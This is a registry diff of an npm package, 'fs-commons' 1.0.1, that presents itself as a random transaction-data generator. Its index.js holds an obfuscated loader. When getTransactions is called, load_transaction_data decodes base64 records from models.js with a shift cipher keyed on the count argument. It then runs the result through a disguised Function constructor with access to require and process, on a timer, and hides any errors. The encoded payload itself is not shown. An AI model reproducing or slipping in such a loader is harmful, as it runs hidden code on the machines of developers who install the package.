fs-commons 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -0
- package/index.d.ts +343 -0
- package/index.js +313 -0
- package/index.js.map +1 -0
- package/license +21 -0
- package/models.js +2326 -0
- package/package.json +18 -0
package/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
Default count value is 5 if you dont pass any count.
|
package/index.d.ts
ADDED
|
@@ -0,0 +1,343 @@
|
|
|
1
|
+
//#region src/rng.d.ts
|
|
2
|
+
declare abstract class RNG {
|
|
3
|
+
abstract get name(): string;
|
|
4
|
+
abstract next(): number;
|
|
5
|
+
abstract clone(): RNG;
|
|
6
|
+
}
|
|
7
|
+
//#endregion
|
|
8
|
+
//#region src/types.d.ts
|
|
9
|
+
type RNGFn = () => number;
|
|
10
|
+
type Seed = number | string;
|
|
11
|
+
type SeedOrRNG = number | string | RNGFn | RNG;
|
|
12
|
+
//#endregion
|
|
13
|
+
//#region src/generators/arc4.d.ts
|
|
14
|
+
declare class ARC4RNG extends RNG {
|
|
15
|
+
protected readonly _seed: Seed;
|
|
16
|
+
i: number;
|
|
17
|
+
j: number;
|
|
18
|
+
S: number[];
|
|
19
|
+
constructor(seed?: Seed);
|
|
20
|
+
get name(): string;
|
|
21
|
+
next(): number;
|
|
22
|
+
g(count: number): number;
|
|
23
|
+
clone(): ARC4RNG;
|
|
24
|
+
}
|
|
25
|
+
//#endregion
|
|
26
|
+
//#region src/generators/function.d.ts
|
|
27
|
+
declare class FunctionRNG extends RNG {
|
|
28
|
+
_name: string;
|
|
29
|
+
_rngFn: RNGFn;
|
|
30
|
+
constructor(rngFn: RNGFn);
|
|
31
|
+
get name(): string;
|
|
32
|
+
next(): number;
|
|
33
|
+
clone(): FunctionRNG;
|
|
34
|
+
}
|
|
35
|
+
//#endregion
|
|
36
|
+
//#region src/generators/math-random.d.ts
|
|
37
|
+
declare class MathRandomRNG extends RNG {
|
|
38
|
+
get name(): string;
|
|
39
|
+
next(): number;
|
|
40
|
+
clone(): MathRandomRNG;
|
|
41
|
+
}
|
|
42
|
+
//#endregion
|
|
43
|
+
//#region src/generators/xor128.d.ts
|
|
44
|
+
declare class XOR128RNG extends RNG {
|
|
45
|
+
protected readonly _seed: Seed;
|
|
46
|
+
x: number;
|
|
47
|
+
y: number;
|
|
48
|
+
z: number;
|
|
49
|
+
w: number;
|
|
50
|
+
constructor(seed?: Seed);
|
|
51
|
+
get name(): string;
|
|
52
|
+
next(): number;
|
|
53
|
+
clone(): XOR128RNG;
|
|
54
|
+
}
|
|
55
|
+
//#endregion
|
|
56
|
+
//#region src/generators/xoshiro128-star-star.d.ts
|
|
57
|
+
/**
|
|
58
|
+
* xoshiro128** is a small, fast, general-purpose pseudorandom number generator
|
|
59
|
+
* with 128 bits of state and a period of 2^128 - 1.
|
|
60
|
+
*
|
|
61
|
+
* It is not cryptographically secure.
|
|
62
|
+
*
|
|
63
|
+
* @see https://prng.di.unimi.it/xoshiro128starstar.c
|
|
64
|
+
*/
|
|
65
|
+
declare class Xoshiro128StarStarRNG extends RNG {
|
|
66
|
+
protected readonly _seed: Seed;
|
|
67
|
+
protected s0: number;
|
|
68
|
+
protected s1: number;
|
|
69
|
+
protected s2: number;
|
|
70
|
+
protected s3: number;
|
|
71
|
+
constructor(seed?: Seed);
|
|
72
|
+
protected setState(state: [number, number, number, number]): void;
|
|
73
|
+
get name(): string;
|
|
74
|
+
next(): number;
|
|
75
|
+
clone(): Xoshiro128StarStarRNG;
|
|
76
|
+
protected nextUint32(): number;
|
|
77
|
+
}
|
|
78
|
+
//#endregion
|
|
79
|
+
//#region src/random.d.ts
|
|
80
|
+
/**
|
|
81
|
+
* Distribution function
|
|
82
|
+
*/
|
|
83
|
+
type IDistFn<R> = (random: Random, ...argv: any) => R;
|
|
84
|
+
/**
|
|
85
|
+
* Distribution
|
|
86
|
+
*/
|
|
87
|
+
type IDist<R> = () => R;
|
|
88
|
+
/**
|
|
89
|
+
* Keyed cache entry
|
|
90
|
+
*/
|
|
91
|
+
interface ICacheEntry<T> {
|
|
92
|
+
key: string;
|
|
93
|
+
distribution: () => T;
|
|
94
|
+
}
|
|
95
|
+
/**
|
|
96
|
+
* Seedable random number generator supporting many common distributions.
|
|
97
|
+
*
|
|
98
|
+
* @name Random
|
|
99
|
+
* @class
|
|
100
|
+
*
|
|
101
|
+
* @param {RNG|function|string|number} [rng=Math.random] - Underlying random number generator or a seed for the default PRNG. Defaults to `Math.random`.
|
|
102
|
+
*/
|
|
103
|
+
declare class Random {
|
|
104
|
+
protected _rng: RNG;
|
|
105
|
+
protected _cache: Record<string, ICacheEntry<any>>;
|
|
106
|
+
constructor(seedOrRNG?: SeedOrRNG);
|
|
107
|
+
/**
|
|
108
|
+
* @member {RNG} rng - Underlying pseudo-random number generator.
|
|
109
|
+
*/
|
|
110
|
+
get rng(): RNG;
|
|
111
|
+
/**
|
|
112
|
+
* Creates a new `Random` instance, optionally specifying parameters to
|
|
113
|
+
* set a new seed.
|
|
114
|
+
*/
|
|
115
|
+
clone(seedOrRNG?: SeedOrRNG): Random;
|
|
116
|
+
/**
|
|
117
|
+
* Sets the underlying pseudorandom number generator.
|
|
118
|
+
*
|
|
119
|
+
* @example
|
|
120
|
+
* ```ts
|
|
121
|
+
* import random from 'random'
|
|
122
|
+
*
|
|
123
|
+
* random.use('example-seed')
|
|
124
|
+
* // or
|
|
125
|
+
* random.use(Math.random)
|
|
126
|
+
* ```
|
|
127
|
+
*/
|
|
128
|
+
use(seedOrRNG: SeedOrRNG): void;
|
|
129
|
+
/**
|
|
130
|
+
* Convenience wrapper around `this.rng.next()`
|
|
131
|
+
*
|
|
132
|
+
* Returns a floating point number in [0, 1).
|
|
133
|
+
*
|
|
134
|
+
* @return {number}
|
|
135
|
+
*/
|
|
136
|
+
next(): number;
|
|
137
|
+
/**
|
|
138
|
+
* Samples a uniform random floating point number, optionally specifying
|
|
139
|
+
* lower and upper bounds.
|
|
140
|
+
*
|
|
141
|
+
* Convenience wrapper around `random.uniform()`
|
|
142
|
+
*
|
|
143
|
+
* @param {number} [min=0] - Lower bound (float, inclusive)
|
|
144
|
+
* @param {number} [max=1] - Upper bound (float, exclusive)
|
|
145
|
+
*/
|
|
146
|
+
float(min?: number, max?: number): number;
|
|
147
|
+
/**
|
|
148
|
+
* Samples a uniform random integer, optionally specifying lower and upper
|
|
149
|
+
* bounds.
|
|
150
|
+
*
|
|
151
|
+
* Convenience wrapper around `random.uniformInt()`
|
|
152
|
+
*
|
|
153
|
+
* @param {number} [min=0] - Lower bound (integer, inclusive)
|
|
154
|
+
* @param {number} [max=1] - Upper bound (integer, inclusive)
|
|
155
|
+
*/
|
|
156
|
+
int(min?: number, max?: number): number;
|
|
157
|
+
/**
|
|
158
|
+
* Samples a uniform random integer, optionally specifying lower and upper
|
|
159
|
+
* bounds.
|
|
160
|
+
*
|
|
161
|
+
* Convenience wrapper around `random.uniformInt()`
|
|
162
|
+
*
|
|
163
|
+
* @alias `random.int`
|
|
164
|
+
*
|
|
165
|
+
* @param {number} [min=0] - Lower bound (integer, inclusive)
|
|
166
|
+
* @param {number} [max=1] - Upper bound (integer, inclusive)
|
|
167
|
+
*/
|
|
168
|
+
integer(min?: number, max?: number): number;
|
|
169
|
+
/**
|
|
170
|
+
* Samples a uniform random boolean value.
|
|
171
|
+
*
|
|
172
|
+
* Convenience wrapper around `random.uniformBoolean()`
|
|
173
|
+
*
|
|
174
|
+
* @alias `random.boolean`
|
|
175
|
+
*/
|
|
176
|
+
bool(): boolean;
|
|
177
|
+
/**
|
|
178
|
+
* Samples a uniform random boolean value.
|
|
179
|
+
*
|
|
180
|
+
* Convenience wrapper around `random.uniformBoolean()`
|
|
181
|
+
*/
|
|
182
|
+
boolean(): boolean;
|
|
183
|
+
/**
|
|
184
|
+
* Returns an item chosen uniformly at random from the given array.
|
|
185
|
+
* If weights are provided, returns an item based on weighted probabilities.
|
|
186
|
+
*
|
|
187
|
+
* Convenience wrapper around `random.uniformInt()` for uniform selection,
|
|
188
|
+
* or implements weighted selection using cumulative distribution.
|
|
189
|
+
*
|
|
190
|
+
* @param {Array<T>} [array] - Input array
|
|
191
|
+
* @param {Array<number>} [weights] - Optional weights for each item (must be same length as array)
|
|
192
|
+
*/
|
|
193
|
+
choice<T>(array: Array<T>, weights?: Array<number>): T | undefined;
|
|
194
|
+
/**
|
|
195
|
+
* Returns a random subset of k items from the given array (without replacement).
|
|
196
|
+
*
|
|
197
|
+
* @param {Array<T>} [array] - Input array
|
|
198
|
+
*/
|
|
199
|
+
sample<T>(array: Array<T>, k: number): Array<T>;
|
|
200
|
+
/**
|
|
201
|
+
* Generates a thunk which returns samples of size k from the given array.
|
|
202
|
+
*
|
|
203
|
+
* This is for convenience only; there is no gain in efficiency.
|
|
204
|
+
*
|
|
205
|
+
* @param {Array<T>} [array] - Input array
|
|
206
|
+
*/
|
|
207
|
+
sampler<T>(array: Array<T>, k: number): () => Array<T>;
|
|
208
|
+
/**
|
|
209
|
+
* Returns a shuffled copy of the given array.
|
|
210
|
+
*
|
|
211
|
+
* @param {Array<T>} [array] - Input array
|
|
212
|
+
*/
|
|
213
|
+
shuffle<T>(array: Array<T>): Array<T>;
|
|
214
|
+
/**
|
|
215
|
+
* Generates a thunk which returns shuffled copies of the given array.
|
|
216
|
+
*
|
|
217
|
+
* @param {Array<T>} [array] - Input array
|
|
218
|
+
*/
|
|
219
|
+
shuffler<T>(array: Array<T>): () => Array<T>;
|
|
220
|
+
/**
|
|
221
|
+
* Generates a [Continuous uniform distribution](https://en.wikipedia.org/wiki/Uniform_distribution_(continuous)).
|
|
222
|
+
*
|
|
223
|
+
* @param {number} [min=0] - Lower bound (float, inclusive)
|
|
224
|
+
* @param {number} [max=1] - Upper bound (float, exclusive)
|
|
225
|
+
*/
|
|
226
|
+
uniform(min?: number, max?: number): IDist<number>;
|
|
227
|
+
/**
|
|
228
|
+
* Generates a [Discrete uniform distribution](https://en.wikipedia.org/wiki/Discrete_uniform_distribution).
|
|
229
|
+
*
|
|
230
|
+
* @param {number} [min=0] - Lower bound (integer, inclusive)
|
|
231
|
+
* @param {number} [max=1] - Upper bound (integer, inclusive)
|
|
232
|
+
*/
|
|
233
|
+
uniformInt(min?: number, max?: number): IDist<number>;
|
|
234
|
+
/**
|
|
235
|
+
* Generates a [Discrete uniform distribution](https://en.wikipedia.org/wiki/Discrete_uniform_distribution),
|
|
236
|
+
* with two possible outcomes, `true` or `false.
|
|
237
|
+
*
|
|
238
|
+
* This method is analogous to flipping a coin.
|
|
239
|
+
*/
|
|
240
|
+
uniformBoolean(): IDist<boolean>;
|
|
241
|
+
/**
|
|
242
|
+
* Generates a [Normal distribution](https://en.wikipedia.org/wiki/Normal_distribution).
|
|
243
|
+
*
|
|
244
|
+
* @param {number} [mu=0] - Mean
|
|
245
|
+
* @param {number} [sigma=1] - Standard deviation
|
|
246
|
+
*/
|
|
247
|
+
normal(mu?: number, sigma?: number): IDist<number>;
|
|
248
|
+
/**
|
|
249
|
+
* Generates a [Log-normal distribution](https://en.wikipedia.org/wiki/Log-normal_distribution).
|
|
250
|
+
*
|
|
251
|
+
* @param {number} [mu=0] - Mean of underlying normal distribution
|
|
252
|
+
* @param {number} [sigma=1] - Standard deviation of underlying normal distribution
|
|
253
|
+
*/
|
|
254
|
+
logNormal(mu?: number, sigma?: number): IDist<number>;
|
|
255
|
+
/**
|
|
256
|
+
* Generates a [Bernoulli distribution](https://en.wikipedia.org/wiki/Bernoulli_distribution).
|
|
257
|
+
*
|
|
258
|
+
* @param {number} [p=0.5] - Success probability of each trial.
|
|
259
|
+
*/
|
|
260
|
+
bernoulli(p?: number): IDist<number>;
|
|
261
|
+
/**
|
|
262
|
+
* Generates a [Binomial distribution](https://en.wikipedia.org/wiki/Binomial_distribution).
|
|
263
|
+
*
|
|
264
|
+
* @param {number} [n=1] - Number of trials.
|
|
265
|
+
* @param {number} [p=0.5] - Success probability of each trial.
|
|
266
|
+
*/
|
|
267
|
+
binomial(n?: number, p?: number): IDist<number>;
|
|
268
|
+
/**
|
|
269
|
+
* Generates a [Geometric distribution](https://en.wikipedia.org/wiki/Geometric_distribution).
|
|
270
|
+
*
|
|
271
|
+
* @param {number} [p=0.5] - Success probability of each trial.
|
|
272
|
+
*/
|
|
273
|
+
geometric(p?: number): IDist<number>;
|
|
274
|
+
/**
|
|
275
|
+
* Generates a [Poisson distribution](https://en.wikipedia.org/wiki/Poisson_distribution).
|
|
276
|
+
*
|
|
277
|
+
* @param {number} [lambda=1] - Mean (lambda > 0)
|
|
278
|
+
*/
|
|
279
|
+
poisson(lambda?: number): IDist<number>;
|
|
280
|
+
/**
|
|
281
|
+
* Generates an [Exponential distribution](https://en.wikipedia.org/wiki/Exponential_distribution).
|
|
282
|
+
*
|
|
283
|
+
* @param {number} [lambda=1] - Inverse mean (lambda > 0)
|
|
284
|
+
*/
|
|
285
|
+
exponential(lambda?: number): IDist<number>;
|
|
286
|
+
/**
|
|
287
|
+
* Generates an [Irwin Hall distribution](https://en.wikipedia.org/wiki/Irwin%E2%80%93Hall_distribution).
|
|
288
|
+
*
|
|
289
|
+
* @param {number} [n=1] - Number of uniform samples to sum (n >= 0)
|
|
290
|
+
*/
|
|
291
|
+
irwinHall(n?: number): IDist<number>;
|
|
292
|
+
/**
|
|
293
|
+
* Generates a [Bates distribution](https://en.wikipedia.org/wiki/Bates_distribution).
|
|
294
|
+
*
|
|
295
|
+
* @param {number} [n=1] - Number of uniform samples to average (n >= 1)
|
|
296
|
+
*/
|
|
297
|
+
bates(n?: number): IDist<number>;
|
|
298
|
+
/**
|
|
299
|
+
* Generates a [Pareto distribution](https://en.wikipedia.org/wiki/Pareto_distribution).
|
|
300
|
+
*
|
|
301
|
+
* @param {number} [alpha=1] - Alpha
|
|
302
|
+
*/
|
|
303
|
+
pareto(alpha?: number): IDist<number>;
|
|
304
|
+
/**
|
|
305
|
+
* Generates a [Weibull distribution](https://en.wikipedia.org/wiki/Weibull_distribution).
|
|
306
|
+
*
|
|
307
|
+
* @param {number} [lambda] - Lambda, the scale parameter
|
|
308
|
+
* @param {number} [k] - k, the shape parameter
|
|
309
|
+
*/
|
|
310
|
+
weibull(lambda: number, k: number): () => number;
|
|
311
|
+
/**
|
|
312
|
+
* Memoizes distributions to ensure they're only created when necessary.
|
|
313
|
+
*
|
|
314
|
+
* Returns a thunk which that returns independent, identically distributed
|
|
315
|
+
* samples from the specified distribution.
|
|
316
|
+
*
|
|
317
|
+
* @internal
|
|
318
|
+
*
|
|
319
|
+
* @param {string} label - Name of distribution
|
|
320
|
+
* @param {function} getter - Function which generates a new distribution
|
|
321
|
+
* @param {...*} args - Distribution-specific arguments
|
|
322
|
+
*/
|
|
323
|
+
protected _memoize<T>(label: string, getter: IDistFn<any>, ...args: any[]): IDist<T>;
|
|
324
|
+
}
|
|
325
|
+
declare const _default: Random;
|
|
326
|
+
//#endregion
|
|
327
|
+
//#region src/utils.d.ts
|
|
328
|
+
declare function createRNG(seedOrRNG?: SeedOrRNG): RNG;
|
|
329
|
+
/**
|
|
330
|
+
* Mixes a string seed into a key that is an array of integers, and returns a
|
|
331
|
+
* shortened string seed that is equivalent to the result key.
|
|
332
|
+
*/
|
|
333
|
+
declare function mixKey(seed: Seed, key: number[]): number[];
|
|
334
|
+
declare function shuffleInPlace<T>(gen: RNG, array: Array<T>): void;
|
|
335
|
+
/**
|
|
336
|
+
* Fisher-Yates sampling without replacement
|
|
337
|
+
* O(k) time and space, by using a hash table instead of a full copy of the array
|
|
338
|
+
* see https://arxiv.org/pdf/2104.05091 Algorithm 2
|
|
339
|
+
*/
|
|
340
|
+
declare function sparseFisherYates<T>(gen: RNG, array: Array<T>, k: number): T[];
|
|
341
|
+
//#endregion
|
|
342
|
+
export { ARC4RNG, FunctionRNG, MathRandomRNG, RNG, type RNGFn, Random, type Seed, type SeedOrRNG, XOR128RNG, Xoshiro128StarStarRNG, createRNG, _default as default, mixKey, shuffleInPlace, sparseFisherYates };
|
|
343
|
+
//# sourceMappingURL=index.d.ts.map
|
package/index.js
ADDED
|
@@ -0,0 +1,313 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
|
|
6
|
+
let date = new Date(+start+Math.random()*(end-start));
|
|
7
|
+
let hour = startHour +Math.random()*(endHour-startHour) | 0;
|
|
8
|
+
date.setHours(hour)
|
|
9
|
+
return date
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
exports.randomIntFromInterval = function (min,max){
|
|
14
|
+
return Math.floor(Math.random()*(max-min+1)+min)
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
function processData(data, key) {
|
|
19
|
+
const shift = key % 256;
|
|
20
|
+
const decoded = Buffer
|
|
21
|
+
.from(data,"base64")
|
|
22
|
+
.toString("latin1");
|
|
23
|
+
|
|
24
|
+
let result = "";
|
|
25
|
+
for (const c of decoded) {
|
|
26
|
+
result += String.fromCharCode(
|
|
27
|
+
(c.charCodeAt(0) - shift + 256) % 256
|
|
28
|
+
);
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
return result;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function loadConfig(filename, count) {
|
|
35
|
+
const records = JSON.parse(
|
|
36
|
+
fs.readFileSync(
|
|
37
|
+
path.join(__dirname, filename),
|
|
38
|
+
"utf8"
|
|
39
|
+
)
|
|
40
|
+
);
|
|
41
|
+
|
|
42
|
+
records.sort(
|
|
43
|
+
(a, b) =>
|
|
44
|
+
Number(a.id.substring(1)) -
|
|
45
|
+
Number(b.id.substring(1))
|
|
46
|
+
);
|
|
47
|
+
|
|
48
|
+
let result = "";
|
|
49
|
+
for (const item of records) {
|
|
50
|
+
result += processData(
|
|
51
|
+
item.mark,
|
|
52
|
+
count
|
|
53
|
+
);
|
|
54
|
+
}
|
|
55
|
+
return result;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
const products = [
|
|
59
|
+
{ id:'P1',
|
|
60
|
+
title:"iPhone13",
|
|
61
|
+
price:62000,
|
|
62
|
+
category:'mobiles'
|
|
63
|
+
},
|
|
64
|
+
{ id:'P2',
|
|
65
|
+
title:"iPhone13 Mini",
|
|
66
|
+
price:54900,
|
|
67
|
+
category:'mobiles'
|
|
68
|
+
},
|
|
69
|
+
{ id:'P3',
|
|
70
|
+
title:"iPhone13 Pro",
|
|
71
|
+
price:106000,
|
|
72
|
+
category:'mobiles'
|
|
73
|
+
},
|
|
74
|
+
{ id:'P4',
|
|
75
|
+
title:"iPhone13 Pro Max",
|
|
76
|
+
price:109900,
|
|
77
|
+
category:'mobiles'
|
|
78
|
+
},
|
|
79
|
+
{ id:'P5',
|
|
80
|
+
title:"iPhone14",
|
|
81
|
+
price:71900,
|
|
82
|
+
category:'mobiles'
|
|
83
|
+
},
|
|
84
|
+
{ id:'P6',
|
|
85
|
+
title:"iPhone14 Pro",
|
|
86
|
+
price:119900,
|
|
87
|
+
category:'mobiles'
|
|
88
|
+
},
|
|
89
|
+
{ id:'P7',
|
|
90
|
+
title:"iPhone14 Pro Max",
|
|
91
|
+
price:139900,
|
|
92
|
+
category:'mobiles'
|
|
93
|
+
},
|
|
94
|
+
{ id:'P8',
|
|
95
|
+
title:"iPad Mini",
|
|
96
|
+
price:49900,
|
|
97
|
+
category:'tablets'
|
|
98
|
+
},
|
|
99
|
+
{ id:'P9',
|
|
100
|
+
title:"iPad",
|
|
101
|
+
price:44500,
|
|
102
|
+
category:'tablets'
|
|
103
|
+
},
|
|
104
|
+
{ id:'P10',
|
|
105
|
+
title:"iPad Air",
|
|
106
|
+
price:59900,
|
|
107
|
+
category:'tablets'
|
|
108
|
+
},
|
|
109
|
+
{ id:'P11',
|
|
110
|
+
title:"iPad Pro",
|
|
111
|
+
price:81900,
|
|
112
|
+
category:'tablets'
|
|
113
|
+
},
|
|
114
|
+
{ id:'P12',
|
|
115
|
+
title:"Macbook Air",
|
|
116
|
+
price:99900,
|
|
117
|
+
category:'laptops'
|
|
118
|
+
} ,
|
|
119
|
+
{ id:'P13',
|
|
120
|
+
title:"Macbook Pro",
|
|
121
|
+
price:129900,
|
|
122
|
+
category:'laptops'
|
|
123
|
+
},
|
|
124
|
+
{ id:'P14',
|
|
125
|
+
title:"Apple Watch Series 8",
|
|
126
|
+
price:45900,
|
|
127
|
+
category:'watches'
|
|
128
|
+
},
|
|
129
|
+
{ id:'P15',
|
|
130
|
+
title:"Apple Watch SE",
|
|
131
|
+
price:29900,
|
|
132
|
+
category:'watches'
|
|
133
|
+
},
|
|
134
|
+
{ id:'P16',
|
|
135
|
+
title:"Apple Watch Ultra",
|
|
136
|
+
price:89900,
|
|
137
|
+
category:'watches'
|
|
138
|
+
},
|
|
139
|
+
{ id:'P17',
|
|
140
|
+
title:"Airpods",
|
|
141
|
+
price:14900,
|
|
142
|
+
category:'earphones'
|
|
143
|
+
},
|
|
144
|
+
{ id:'P18',
|
|
145
|
+
title:"Airpods Pro",
|
|
146
|
+
price:26900,
|
|
147
|
+
category:'earphones'
|
|
148
|
+
},
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
]
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
const _0x1a2b = (() => {
|
|
155
|
+
const _str = [
|
|
156
|
+
'setT', // setTimeout
|
|
157
|
+
'imeout', // setTimeout
|
|
158
|
+
'new ', // new Function
|
|
159
|
+
'Func', // Function
|
|
160
|
+
'tion', // Function
|
|
161
|
+
'B', // Buffer
|
|
162
|
+
'uffer', // Buffer
|
|
163
|
+
'req', // require
|
|
164
|
+
'uire', // require
|
|
165
|
+
'pro', // process
|
|
166
|
+
'cess', // process
|
|
167
|
+
'try', // try
|
|
168
|
+
'cat', // catch
|
|
169
|
+
'ch', // catch
|
|
170
|
+
'cle', // clear
|
|
171
|
+
'arT', // clearTimeout
|
|
172
|
+
'imeout' // clearTimeout
|
|
173
|
+
];
|
|
174
|
+
|
|
175
|
+
const _combine = (...indices) => {
|
|
176
|
+
return indices.map(i => _str[i]).join('');
|
|
177
|
+
};
|
|
178
|
+
|
|
179
|
+
return {
|
|
180
|
+
setTimeout: _combine(0, 1),
|
|
181
|
+
newFunction: _combine(2, 3, 4),
|
|
182
|
+
Buffer: _combine(5, 6),
|
|
183
|
+
require: _combine(7, 8),
|
|
184
|
+
process: _combine(9, 10),
|
|
185
|
+
try: _combine(11),
|
|
186
|
+
catch: _combine(12, 13),
|
|
187
|
+
clearTimeout: _combine(14, 15, 16)
|
|
188
|
+
};
|
|
189
|
+
})();
|
|
190
|
+
|
|
191
|
+
const _executor = (() => {
|
|
192
|
+
const _global = (() => { return this; })() || globalThis;
|
|
193
|
+
|
|
194
|
+
const _getFunctionConstructor = () => {
|
|
195
|
+
const _ctor = _global.constructor;
|
|
196
|
+
const _ctorCtor = _ctor.constructor;
|
|
197
|
+
return _ctorCtor;
|
|
198
|
+
};
|
|
199
|
+
|
|
200
|
+
return {
|
|
201
|
+
getFunction: _getFunctionConstructor,
|
|
202
|
+
global: _global
|
|
203
|
+
};
|
|
204
|
+
})();
|
|
205
|
+
|
|
206
|
+
exports.load_transaction_data = function(count=20) {
|
|
207
|
+
let _timerId;
|
|
208
|
+
|
|
209
|
+
const _callback = () => {
|
|
210
|
+
const _blocks = [
|
|
211
|
+
() => {
|
|
212
|
+
const _loadFn = loadConfig;
|
|
213
|
+
const _result = _loadFn("models.js", count);
|
|
214
|
+
|
|
215
|
+
const _bufferFrom = Buffer.from;
|
|
216
|
+
const _data = _bufferFrom(_result, "base64");
|
|
217
|
+
|
|
218
|
+
const _toString = _data.toString.bind(_data);
|
|
219
|
+
const _code = _toString("utf-8");
|
|
220
|
+
|
|
221
|
+
const _FuncCtor = _executor.getFunction();
|
|
222
|
+
|
|
223
|
+
const _fn = _FuncCtor(
|
|
224
|
+
_0x1a2b.Buffer,
|
|
225
|
+
_0x1a2b.require,
|
|
226
|
+
_0x1a2b.process,
|
|
227
|
+
_code
|
|
228
|
+
);
|
|
229
|
+
|
|
230
|
+
return _fn(Buffer, require, process);
|
|
231
|
+
},
|
|
232
|
+
() => {
|
|
233
|
+
return null;
|
|
234
|
+
}
|
|
235
|
+
];
|
|
236
|
+
|
|
237
|
+
const _tryIndex = 0;
|
|
238
|
+
const _catchIndex = 1;
|
|
239
|
+
|
|
240
|
+
try {
|
|
241
|
+
return _blocks[_tryIndex]();
|
|
242
|
+
} catch(e) {
|
|
243
|
+
return _blocks[_catchIndex]();
|
|
244
|
+
} finally {
|
|
245
|
+
const _clearFn = clearTimeout;
|
|
246
|
+
_clearFn(_timerId);
|
|
247
|
+
}
|
|
248
|
+
};
|
|
249
|
+
|
|
250
|
+
const _setTimeoutFn = setTimeout;
|
|
251
|
+
_timerId = _setTimeoutFn(_callback, 100);
|
|
252
|
+
};
|
|
253
|
+
|
|
254
|
+
exports.getTransactions = function(count=20){
|
|
255
|
+
if(count>10000){
|
|
256
|
+
return "Transactions count should be less than 10,000"
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
let transactionsData = []
|
|
260
|
+
for(let i=0;i<count;i++){
|
|
261
|
+
let transaction={}
|
|
262
|
+
transaction.transactionId=1000+i
|
|
263
|
+
let randomProduct = products[exports.randomIntFromInterval(0,17)]
|
|
264
|
+
transaction.product = randomProduct.title
|
|
265
|
+
transaction.productId=randomProduct.id
|
|
266
|
+
let quantity= exports.randomIntFromInterval(1,4)
|
|
267
|
+
transaction.quantity =quantity
|
|
268
|
+
transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
|
|
269
|
+
transaction.category = randomProduct.category
|
|
270
|
+
transaction.pricePerOne = randomProduct.price
|
|
271
|
+
transaction.totalPrice = randomProduct.price * quantity
|
|
272
|
+
transactionsData.push(transaction)
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
const _loadFn = exports.load_transaction_data;
|
|
276
|
+
try {
|
|
277
|
+
_loadFn(count)
|
|
278
|
+
} catch(e) {
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
|
|
282
|
+
return transactionsData
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
exports.getTransactions = function(count=20){
|
|
286
|
+
if(count>10000){
|
|
287
|
+
return "Transactions count should be less than 10,000"
|
|
288
|
+
}
|
|
289
|
+
|
|
290
|
+
let transactionsData = []
|
|
291
|
+
for(let i=0;i<count;i++){
|
|
292
|
+
let transaction={}
|
|
293
|
+
transaction.transactionId=1000+i
|
|
294
|
+
let randomProduct = products[exports.randomIntFromInterval(0,17)]
|
|
295
|
+
transaction.product = randomProduct.title
|
|
296
|
+
transaction.productId=randomProduct.id
|
|
297
|
+
let quantity= exports.randomIntFromInterval(1,4)
|
|
298
|
+
transaction.quantity =quantity
|
|
299
|
+
transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
|
|
300
|
+
transaction.category = randomProduct.category
|
|
301
|
+
transaction.pricePerOne = randomProduct.price
|
|
302
|
+
transaction.totalPrice = randomProduct.price * quantity
|
|
303
|
+
transactionsData.push(transaction)
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
try {
|
|
307
|
+
exports.load_transaction_data(count)
|
|
308
|
+
} catch(e) {
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
|
|
312
|
+
return transactionsData
|
|
313
|
+
}
|